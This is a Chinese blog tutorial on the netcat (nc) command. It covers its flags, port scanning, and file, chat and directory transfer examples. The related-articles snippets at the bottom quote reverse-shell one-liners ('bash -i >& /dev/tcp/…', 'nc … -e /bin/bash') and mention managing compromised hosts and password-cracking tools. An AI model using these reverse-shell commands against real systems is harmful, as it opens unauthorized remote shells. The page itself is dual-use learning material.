`
zfy421
  • 浏览: 230132 次
社区版块
存档分类
最新评论

nc命令详解

阅读更多

netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧……
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
nc命令详解
Filed under: security — ranbo @ 9:08 pm 
netcat被誉为网络安全界的‘瑞士军刀’,相信没有什么人不认识它吧……
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译
后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然”体积”小,但很完成很多工作。

这里以1.84版本为例 
一、基本使用

usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]

          [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]

          [-x proxy_address[:port]] [hostname] [port[s]]

参数:
1. -4 强制使用ipv4 
2. -6 强制使用ipv6 
3. -D 允许socket通信返回debug信息 
4.       -d 不允许从标准输入中读取 
5. -h 显示nc帮助文档 
6. -i interval  
7.    指定每行之间内容延时发送和接受,也可以使多个端口之间的连接延时 
8. -k 当一个连接结束时,强制nc监听另一个连接。必须和-l一起使用 
9. -l 用于监听传入的数据链接,不能与-p -z -s一起使用。-w 参数的超时也会被忽略 
10. -n 不执行任何地址,主机名,端口或DNS查询 
11. -p 指定nc使用的源端口,受权限限制且不能余-l一起使用 
12. -r 指定nc使用的源端口和目的端口,不能使用系统原来就指定的那些端口 
13. -S 允许在RFC 2385的TCP MD5签名选项 
14. -s source_ip_address  
15.    指定用于发包的接口的IP地址,不能和-l一起使用 
16. -T ToS 
17.    指定链接的IP服务类型(TOS) 
18. -C 自动换行 
19. -t 使nc能够与telnet交互 
20. -U 使用UNIX域socket 
21. -u 使用udp代替默认的tcp选项 
22. -v 输出详细报告 
23. -w timeout 
24.     一个链接一段时间无操作,则自动断开,默认无超时 
25. -X proxy_version 
26.     指定nc使用代理时所采用的协议,可选的有socksv4,socks5以及https。默认socks5 
27. -x proxy_address[:port] 
28.     指定nc使用的代理地址和端口。默认设置:1080(SOCKS),3128(HTTPS) 
29. -z 只监听不发送任何包
例如:1.扫描端口

tcp扫描

[root@b28-1286 servers]# nc -vzw2 192.168.12.86 20-30

nc: connect to 192.168.12.86 port 20 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 21 (tcp) failed: Connection refused

Connection to 192.168.12.86 22 port [tcp/ssh] succeeded!

nc: connect to 192.168.12.86 port 23 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 24 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 25 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 26 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 27 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 28 (tcp) failed: Connection refused

nc: connect to 192.168.12.86 port 29 (tcp) failed: Connection refused

 

nc: connect to 192.168.12.86 port 30 (tcp) failed: Connection refused

udp扫描

[root@b28-1286 servers]# nc -uvzw2 192.168.12.86 1-140

 

Connection to 192.168.12.86 111 port [udp/sunrpc] succeeded!

 

2.文本传递

在86、90上建立文件install.log

[root@b28-1286 servers]# nc -l 1234 >install.log 

在86上启动监听,在90上执行:nc -w 1 192.168.12.86 1234 <install.log

现在86上install.log的内容就被90上install.log的内容所覆盖了。

 

3.聊天

[root@b28-1286 servers]# nc -l 1234

12

sdsf

 

我擦

 

[root@b28-1290 etc]# nc 192.168.12.86 1234

12

sdsf

 

我擦

 

3.目录传输

将86上的auto-add-tomcat文件夹及内容复制到90上

在90上启动监听:

nc -l 1234|tar -xzvf -

在86上执行:

tar -cvzf - auto-add-tomcat|nc 192.168.12.90 1234

 

4.在脚本中

nc每次启动监听后,都会在客户端连接完成并退出的同时,服务端一同退出。所以,如果需要不断的使用nc进行数据传输,需要在脚本中使用循环。利用nc实现更多的功能,可参考其rpm提供的参考脚本:

[root@b28-1286 servers]# rpm -qd nc

/usr/share/doc/nc-1.84/README

/usr/share/doc/nc-1.84/scripts/README

/usr/share/doc/nc-1.84/scripts/alta

/usr/share/doc/nc-1.84/scripts/bsh

/usr/share/doc/nc-1.84/scripts/dist.sh

/usr/share/doc/nc-1.84/scripts/irc

/usr/share/doc/nc-1.84/scripts/iscan

/usr/share/doc/nc-1.84/scripts/ncp

/usr/share/doc/nc-1.84/scripts/probe

/usr/share/doc/nc-1.84/scripts/web

/usr/share/doc/nc-1.84/scripts/webproxy

/usr/share/doc/nc-1.84/scripts/webrelay

/usr/share/doc/nc-1.84/scripts/websearch

 

/usr/share/man/man1/nc.1.gz

 

分享到:
评论

相关推荐

    Linux 中的nc命令小结

    主要介绍了linux中的nc命令知识,非常不错,值得收藏,需要的朋友参考下吧

    网络NC的使用教程与命令详解

    0. 写在前面的话 1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息 2. Netcat 1.10 for NT 帮助信息 3. Netcat 1.10 常用的命令格式 4. 管理肉鸡,更改肉鸡设置 5. 下载连接 6. 后记

    ncverilog 仿真详解.docx

    工具简介——Simulator 工具 ncverilog 使用 Ncverilog 常用命令使用详解

    NC-Verilog仿真详解.pdf

    NC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdfNC-Verilog仿真详解.pdf

    CATIA_V5R19机械设计命令详解.pdf

    CATIA大量用于航空航天、汽车及摩托车行业、机械、电子、家电与3C产业、NC加工等各方面 由于其功能强大而完美,CATIA已经几乎成为三维CAD/CAM领域的一面旗帜和争相遵从的标准,特别是在航空航天、汽车及摩托车领域...

    详解NC反弹shell的几种方法

    假如ubuntu、CentOS为...正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1:bash反弹 bash -i &gt;& /dev/tcp/ip/port 0&gt;&1 但首先需要在kali上使用

    Rsync命令参数详解

    在对rsync服务器配置结束以后,下一步就需要在客户端发出rsync命令来实现将服务器端的文件备份到客户端来。rsync是一个功能非常强大的工具,其命令也有很多功能特色选项,我们下面就对它的选项一一进行分析说明。 ...

    Linux sync命令用法详解

    Linux sync命令 Linux sync命令用于数据同步,sync命令是在关闭Linux系统时使用的。 Linux 系统中欲写入硬盘的资料有的时候会了效率起见,会写到 filesystem buffer 中,这个 buffer 是一块记忆体空间,如果欲写入...

    Linux ncftp命令用法详解

    Linux ncftp命令 Linux ncftp命令用于传输文件。 FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。 NcFTP是文字模式FTP程序的佼佼者,它具备多样特色, 包括显示传输速率,下载进度,自动...

    linux rsync同步命令(值得收藏)

    如果你是一位运维工程师,你很可能会面对几十台、几百台甚至上千台服务器,除了批量操作外,环境同步、数据同步也是必不可少的技能。 说到“同步”,不得不提的利器就是rsync,今天就来说说我从这个工具中看到的同步...

    linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i &gt;& /dev/tcp/10.0.0.1/8080 0&gt;&1 bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 bash -...

    Linux grpunconv命令用法详解

    Linux grpunconv命令 Linux grpunconv命令用于关闭群组的投影密码。 执行grpunconv指令可关闭群组投影密码,它会把密码从gshadow文件内,回存到group文件里。 语法grpunconv 实例 未关闭的情况 cat /etc/gshadow |...

    Linux uuencode命令用法详解

    Linux uuencode命令 Linux uuencode命令用于将uuencode编码后的档案还原。 早期在许多 unix 系统的传送协定只能传送七位元字元,并不支援二进位档案,像中文文字档就有用到八位元,所以无法完整地送到另一架机器上。...

    Linux pwunconv命令用法详解

    Linux pwunconv命令 Linux pwunconv命令用于关闭用户的投影密码。 执行pwunconv指令可以关闭用户投影密码,它会把密码从shadow文件内,重回存到passwd文件里。 语法pwunconv 实例 关闭用户的投影密码 # pwunconv

    批处理详细教程

    基本格式 63 附录8下载软件 64 瑞士军刀:nc.exe 64 扫锚工具:xscan.exe 67 命令行方式嗅探器: xsniff.exe 69 终端服务密码破解: tscrack.exe 70 其它 72 附录9 FTP命令详解 75 附录10 ...

    cmd操作命令和linux命令大全收集

    操作详解 net use ipipc$ " " /user:" " 建立IPC空链接 net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: ipc$ 登陆后...

    STOMP协议详解1

    1.个持stomp消息协议的messaging server(譬如activemq,rabbitmq) 3.些基本命令与操作(譬如nc,telnet) 1.建连

    oracle详解

    exp userid=test/test file=./db_str.dmp log=./db_str.log table=nc_data,fi_arap 3.BUFFER和FEEDBACK,在导出比较多的数据时,我会考虑设置这两个参数。例如: exp userid=test/test file=yw97_2003.dmp log=yw97_...

    Linux命令搜索工具linux-command.zip

    Linux命令大全搜索工具,内容包含Linux命令手册、详解、学习、搜集。   Linux命令分类 这里存放Linux 命令大全并不全,你可以通过linux-command来搜索,它是把 command 目录里面搜集的...

Global site tag (gtag.js) - Google Analytics